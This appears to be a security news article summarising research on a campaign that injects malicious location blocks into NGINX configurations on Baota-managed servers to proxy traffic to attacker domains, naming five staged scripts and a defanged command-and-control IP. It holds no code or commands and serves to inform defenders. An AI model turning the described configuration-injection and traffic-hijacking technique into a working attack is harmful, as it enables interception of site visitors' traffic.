Your website traffic is being silently hijacked, and you might not even know it. A sophisticated campaign is targeting NGINX servers, redirecting unsuspecting users through malicious infrastructure without raising alarms. But here's where it gets even more concerning: this isn't your typical exploit-based attack. Instead of targeting vulnerabilities, attackers are cleverly hiding in plain sight, manipulating NGINX's own configuration files – areas often overlooked during security checks.
NGINX, a popular open-source tool for managing web traffic, acts as a middleman between users and servers, handling tasks like load balancing, caching, and reverse proxying. Researchers at DataDog Security Labs uncovered this campaign specifically targeting NGINX installations paired with Baota hosting panels, commonly used by websites with Asian top-level domains (.in, .id, .pe, .bd, .th) and government/educational sites (.edu, .gov).
The attack is multi-faceted and surprisingly stealthy. Attackers inject malicious 'location' blocks into existing NGINX configuration files, capturing specific user requests. These blocks are then rewritten to include the original URL, seamlessly forwarding traffic to attacker-controlled domains using the 'proxy_pass' directive – a legitimate feature normally used for load balancing. This clever misuse avoids triggering security alerts.
To further disguise their tracks, attackers preserve request headers like 'Host,' 'X-Real-IP,' 'User-Agent,' and 'Referer,' making the redirected traffic appear completely legitimate. The attack employs a sophisticated, multi-stage toolkit:
- Stage 1 (zx.sh): The mastermind, downloading and executing subsequent stages. It even includes a fallback mechanism for downloading files if common tools like curl or wget are unavailable.
- Stage 2 (bt.sh): Targets Baota-managed NGINX configurations, dynamically selecting injection templates based on the server name, ensuring safe overwrites and NGINX reloads to prevent downtime.
- Stage 3 (4zdh.sh): Scours common NGINX configuration locations, using parsing tools to avoid corruption. It detects previous injections through hashing and a global mapping file, and meticulously validates changes before reloading.
- Stage 4 (zdh.sh): Focuses on specific directories like /etc/nginx/sites-enabled, particularly targeting .in and .id domains. It follows a similar testing and reload process, with a forced restart as a backup.
- Stage 5 (ok.sh): Maps the damage, scanning compromised configurations to identify hijacked domains, injection templates, and proxy targets. This valuable data is then sent to a command-and-control (C2) server at 158.94.210[.]227.
The stealthy nature of this attack makes it incredibly difficult to detect. Since it doesn't exploit a vulnerability but rather abuses legitimate NGINX functionality, traditional security measures often fail to flag it. Additionally, users still reach their intended destinations, often directly, making the detour through malicious infrastructure nearly invisible without specialized monitoring.
This attack highlights the evolving sophistication of cyber threats and the need for proactive security measures. As IT infrastructure becomes increasingly complex, manual workflows simply can't keep pace. Solutions that automate response, streamline workflows, and integrate seamlessly with existing tools are becoming essential for staying ahead of these threats.
And this is the part most people miss: Are we doing enough to secure our web infrastructure? With attacks becoming increasingly sophisticated, is relying on traditional security measures enough? Let's discuss in the comments – what steps are you taking to protect your servers from these stealthy hijacking attempts?
